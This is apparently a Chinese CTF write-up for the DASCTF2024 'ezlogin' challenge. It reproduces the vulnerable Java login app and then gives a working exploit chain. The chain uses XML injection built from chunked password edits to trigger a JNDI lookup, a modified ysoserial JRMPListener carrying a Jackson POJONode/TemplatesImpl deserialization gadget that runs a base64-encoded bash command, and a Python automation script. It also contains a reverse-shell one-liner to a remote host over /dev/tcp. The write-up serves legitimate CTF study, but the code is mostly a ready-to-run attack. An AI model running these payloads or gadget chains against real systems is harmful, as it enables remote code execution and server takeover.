DASCTF2024 金秋十月赛 ezlogin
jerem1ah Lv4

DASCTF2024 金秋十月赛 ezlogin

https://www.yuque.com/chuangfeimeiyigeren/eeii37/xn0zhgp85tgoafrz?singleDoc#FAsbS

前言

首先是,下载了附件,简单的查看,没找到思路。就摆烂了。今天突然又想看看这个题,虽然是0解题,但是在ctfiot找到了官方的语雀wp,就是简单看了看,发现好麻烦,不过我还是比较擅长的,python脚本处理就完了。现在基本上过了一遍wp,想看看自己能否独立复现出来吧。

解题日志

  1. 至于为什么不addSession(““),这样子把尖括号也去掉,可能是因为在登录解析xml的时候会报错,

image-20241106124925858

  1. 关于del,随便传一个session,只要用户名相同,就能把这个文件给删除,而不鉴别密码是谁。

  2. 哦不对,用尖括号注册的环境就废了,得重开了。倒也不是,只是jere这个名字废了。其他名字还可以搞。

  3. 为什么更改的数据,的尖括号,没有影响呢。噢明白了,其实只要不登录,不getSession就没问题,不去readuser就ok了。所以就是在你去改恶意数据之前,就要把所有的密码的session注册完毕,之后直接使用就ok

  4. 噢忘记了,这里还有个最大长度

  5. image-20241106143925056

  6. 1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/192.168.19.1/7777 0>&1" -A 39.105.51.11
  7. oh no.我发现我的centos服务器是java11,所以才一直失败,所以,我得搞个docker去启动。

  8. sleep了

  9. oh no我成功。果然静下心来看就能成功hhhh。认真修改了ysoserial.exploit.JRMPListener。通过编译就ok了。

  10. 需要优化的地方。很多工具不太熟欸。java链子其实不难,在springboot下jdk1.8,加载了rmi之后的链子很好找。直接BadAttributeValueExpException–>POJONode–>TemplatesImpl。稳定一点就加上proxy。

    1
    2
    3
    4
    docker-compose up -d --build
    mvn clean package --DskipTests
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 a a
    服务器的java版本,搞多java版本。

题目-UserUtil

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package org.example.auth;

import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.XmlUtil;
import java.io.File;
import java.text.MessageFormat;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

public class UserUtil {
private static int maxLength = FileUtil.readString(new File("/user/AAAAAA.xml"), "UTF-8").length();
private static final File USER_DIR = new File("/user");
public static boolean login_in = false;

public UserUtil() {
}

private static boolean checkSyntax(File xmlFile) {
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setNamespaceAware(false);
DocumentBuilder builder = factory.newDocumentBuilder();
builder.parse(xmlFile);
return true;
} catch (Exception var3) {
System.out.printf("XML syntax error : %s\n", xmlFile.getName());
return false;
}
}

public static String register(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + ".xml");
if (userFile.exists()) {
return "User already exists!";
} else {
String template = "<java>\n <object class=\"org.example.auth.User\">\n <void property=\"username\">\n <string>{0}</string>\n </void>\n <void property=\"password\">\n <string>{1}</string>\n </void>\n </object>\n</java>";
String xmlContent = MessageFormat.format(template, username, password);
FileUtil.writeString(xmlContent, userFile, "UTF-8");
return "Register successful!";
}
}

public static User login(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return null;
} else {
User user = readUser(userFile);
if (user != null && user.getPassword().equals(password)) {
login_in = true;
return user;
} else {
return null;
}
}
}

private static User readUser(File userFile) throws Exception {
String content = FileUtil.readString(userFile, "UTF-8");
int length = content.length();
if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
return (User)XmlUtil.readObjectFromXml(userFile);
} else {
System.out.printf("Unusual File Detected : %s\n", userFile.getName());
return null;
}
}

public static String changePassword(String username, String oldPass, String newPass) {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return "User not exists!";
} else {
String content = FileUtil.readString(userFile, "UTF-8");
String modifiedContent = content.replace(oldPass, newPass);
FileUtil.writeString(modifiedContent, userFile, "UTF-8");
return "Edit Success!";
}
}

public static String delUser(String username) {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return "User has already been deleted!";
} else {
try {
FileUtil.del(userFile);
return "User delete success!";
} catch (Exception var3) {
return "error!";
}
}
}

public static boolean check(String username, String password) {
String usernameRe = "^[\\x20-\\x7E]{1,6}$";
String passwordRe = "^[\\x20-\\x7E]{3,10}$";
return username.matches(usernameRe) && password.matches(passwordRe);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@Controller
public class RegistryController {
public RegistryController() {
}

@GetMapping({"/register"})
public String showLoginPage() {
return "registry";
}

@PostMapping({"/register"})
@ResponseBody
public String register(@RequestParam String username, @RequestParam String password) {
if (UserUtil.check(username, password)) {
try {
return UserUtil.register(username, password);
} catch (Exception var4) {
return "error";
}
} else {
return "Invalid input ! Username length should be between 1-6 , and password length should be between 3-10 and they should be printable English chars!";
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@Controller
public class LoginController {
public LoginController() {
}

@GetMapping({"/login"})
public String showLoginPage() {
return "index";
}

@PostMapping(
value = {"/login"},
consumes = {"application/x-www-form-urlencoded"}
)
@ResponseBody
public String login(@RequestParam String username, @RequestParam String password, HttpSession session) {
try {
User user = UserUtil.login(username, password);
if (user != null) {
session.setAttribute("loggedInUser", user);
return "{\"redirect\": \"/home\"}";
} else {
return "{\"message\": \"login fail!\"}";
}
} catch (Exception var5) {
return "{\"message\": \"error!\"}";
}
}

@GetMapping({"/logout"})
@ResponseBody
public String logout(HttpSession session) {
if (session.getAttribute("loggedInUser") != null) {
session.setAttribute("loggedInUser", (Object)null);
return "Log out successful!";
} else {
return "No user is logged in.";
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Controller
public class HomeController {
public HomeController() {
}

@GetMapping({"/"})
public String root(HttpSession session) {
return session.getAttribute("loggedInUser") != null ? "redirect:/home" : "redirect:/login";
}

@GetMapping({"/home"})
public String home(HttpSession session, Model model) {
User user = (User)session.getAttribute("loggedInUser");
if (user != null) {
model.addAttribute("user", user.toString());
return "home";
} else {
return "redirect:/login";
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Controller
public class EditController {
public EditController() {
}

@PostMapping(
value = {"/editPass"},
consumes = {"application/x-www-form-urlencoded"}
)
@ResponseBody
public String edit(@RequestParam String newPass, HttpSession session) {
User user = (User)session.getAttribute("loggedInUser");
if (user == null) {
return "No user logged in!";
} else if (UserUtil.check(user.getUsername(), newPass)) {
UserUtil.changePassword(user.getUsername(), user.getPassword(), newPass);
return "Edit success!";
} else {
return "Invalid input ! Password length should be between 3-10 and it should be printable English chars!";
}
}

@GetMapping({"/editPass"})
public String showEditPage() {
return "edit";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
@Controller
public class DeleteController {
public DeleteController() {
}

@GetMapping({"/del"})
@ResponseBody
public String home(HttpSession session) {
User user = (User)session.getAttribute("loggedInUser");
return user != null ? UserUtil.delUser(user.getUsername()) : "No user logged in!";
}
}

exp-JRMPListener

修改过后的ysoserial.exploit.JRMPListener。自己构造了一个恶意对象,而没有使用yso的。之后打包编译一下。

1
2
3
mvn clean package --DskipTests
cd target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 a a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
package ysoserial.exploit;


import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.xml.transform.Templates;


import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;


/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {

private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;


public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}

public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}


public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}


/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}


public static final void main ( final String[] args )throws Exception {

if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}

// final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
final Object payloadObject = getObject();

try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}


public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);

InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();

short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}

OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);

byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}

bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}

}

}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}

}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}


private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");

int op = in.read();

switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;

case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;

case TransportConstants.DGCAck:
UID u = UID.read(in);
break;

default:
throw new IOException("unknown transport op " + op);
}

s.close();
}


private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {

@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};

ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}


if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}

System.err.println("Sending return with payload for obj " + read);

out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);

BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);

oos.flush();
out.flush();

this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}

@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}


public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;

}

public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,xxxxxxxxxx}|{base64,-d}|{bash,-i}\");";
// 修改为自己的ip port
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};

return evilbyte;

}

public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}
public static Object getObject() throws Exception{
// 删除writeReplace
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wt = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(wt);
ctClass0.toClass();

TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());


AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

POJONode node = new POJONode(proxy);

BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(ex,node);

return ex;
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import requests

url = "http://192.168.19.148:8080/"

rmiserver = "rmi://192.168.19.1:7777/a"
usename = "o"
sessions = {}

def register(password):
'''
创建jerem1ah.xml文档
'''
data = {
"username": usename,
"password": password
}
response = requests.post(url=url+"register", data=data)
if "success" in response.text:
print(f"register success password: {password}")
else:
print(f"register fail password: {password} {response.content}")
exit(0)


def getSession(password):
'''
根据password获取对应的user对象的session
'''
data = {
"username": usename,
"password": password
}
response = requests.post(url=url+"login", data=data)
if "redirect" in response.text:
session = response.headers.get("Set-Cookie").split(";")[0].split("=")[1]
headers = {"Cookie" : f"JSESSIONID={session}"}
sessions[password] = headers
print(f"session successs password: {password}:{session}")
else:
print(f"session fail password: {password} {response.content}")
exit(0)

def delUser(password):
response = requests.get(url = url+"del",headers=sessions[password])
if "success" in response.text:
print(f"delete success password: {password}")
else:
print(f"delete fail password: {password} {response.content}")




def editPassword(oldPassword, newPassword):
data={
"newPass":newPassword
}
headers = sessions[oldPassword]
response = requests.post(url = url+"editPass",data=data,headers=headers)
if "success" in response.text.lower():
print(f"change success password: {oldPassword} to {newPassword}")
else:
print(f"edit fail password: {oldPassword} to {newPassword} {response.content}");
exit(0)

def getHome(password):
headers = sessions[password]
response = requests.get(url=url+"home", headers=headers)
print(response.text)
def addSession(password):
register(password)
getSession(password)
delUser(password)



content1 = "object class=\"org.example.auth.User\""
list1 = [content1[i:i+10] for i in range(0,(len(content1)//10)*10,10)]
if content1[(len(content1)//10)*10:]:list1.append(content1[(len(content1)//10)*10:])
print(list1)

content2 = "void property=\"username\""
list2 = [content2[i:i+10] for i in range(0,(len(content2)//10)*10,10)]
if content2[(len(content2)//10)*10:]:list2.append(content2[(len(content2)//10)*10:])
print(list2)

content3 = "void property=\"password\""
list3 = [content3[i:i+10] for i in range(0,(len(content3)//10)*10,10)]
if content3[(len(content3)//10)*10:]:list3.append(content3[(len(content3)//10)*10:])
print(list3)

payload = " --><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>"+rmiserver+"</string></void></object></java><!-- "
payload_list = [payload[i:i+7]+"___" for i in range(0,(len(payload)//7)*7,7)]
if payload[(len(payload)//7)*7:]:payload_list.append(payload[(len(payload)//7)*7:])
print(payload_list)

addSession("___")
addSession("java")
addSession("string")
addSession('/111')
addSession(" ")
addSession("111111")
for i in list1+list2+list3:
addSession(i)

register("___")
editPassword("java","!--")


editPassword(" ","111")
editPassword("string","111")


for i in list1+list2+list3:
editPassword(i,"111")
editPassword("111111","111")
editPassword("/111","111")

for i in payload_list:
editPassword("___",i)

getSession("123")


exp-修改过的xml

并不是最短的xml,还可以优化

1
2
3
4
5
6
7
8
9
10
<!-->
111<111111>
111<111111>
111111<111>z<111>
111</void>
111<111111>
111111<111> --><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://xxxxxxxx:7777/a</string></void></object></java><!-- <111>
111</void>
111</object>
</!-->

构造的dockerfile

1
2
3
4
5
6
7
8
9
version: '3.3'
services:
ezlogin:
build: .
image: jerem1ah/dasctf2024ezlogin
ports:
- 8080:8080
environment:
- FLAG=flag{flag_test}
1
2
3
4
5
6
7
8
9
10
11
12
13
FROM majiajue/jdk1.8

WORKDIR /app
COPY src/ezlogin.jar /app
COPY src/AAAAAA.xml /user/AAAAAA.xml
COPY _files/flag /flag
COPY _files/flag.sh /flag.sh
COPY _files/start.sh /start.sh

RUN sh -c "chmod 777 -R /app" && \
sh -c "chmod +x /start.sh"
EXPOSE 8080
ENTRYPOINT ["/start.sh"]

start.sh

1
2
3
4
#! /bin/sh
/flag.sh

java -jar /app/ezlogin.jar
1
2
3
4
5
#!/bin/sh
sed -i "s#FLAGFLAGFLAG#$FLAG#" /flag || true
export FLAG=not_flag
FLAG=not_flag
rm -f /flag.sh

success

image-20241107214928743

image-20241107214819614

image-20241107214751795

image-20241107214724953

java skills

  • session重置
 Comments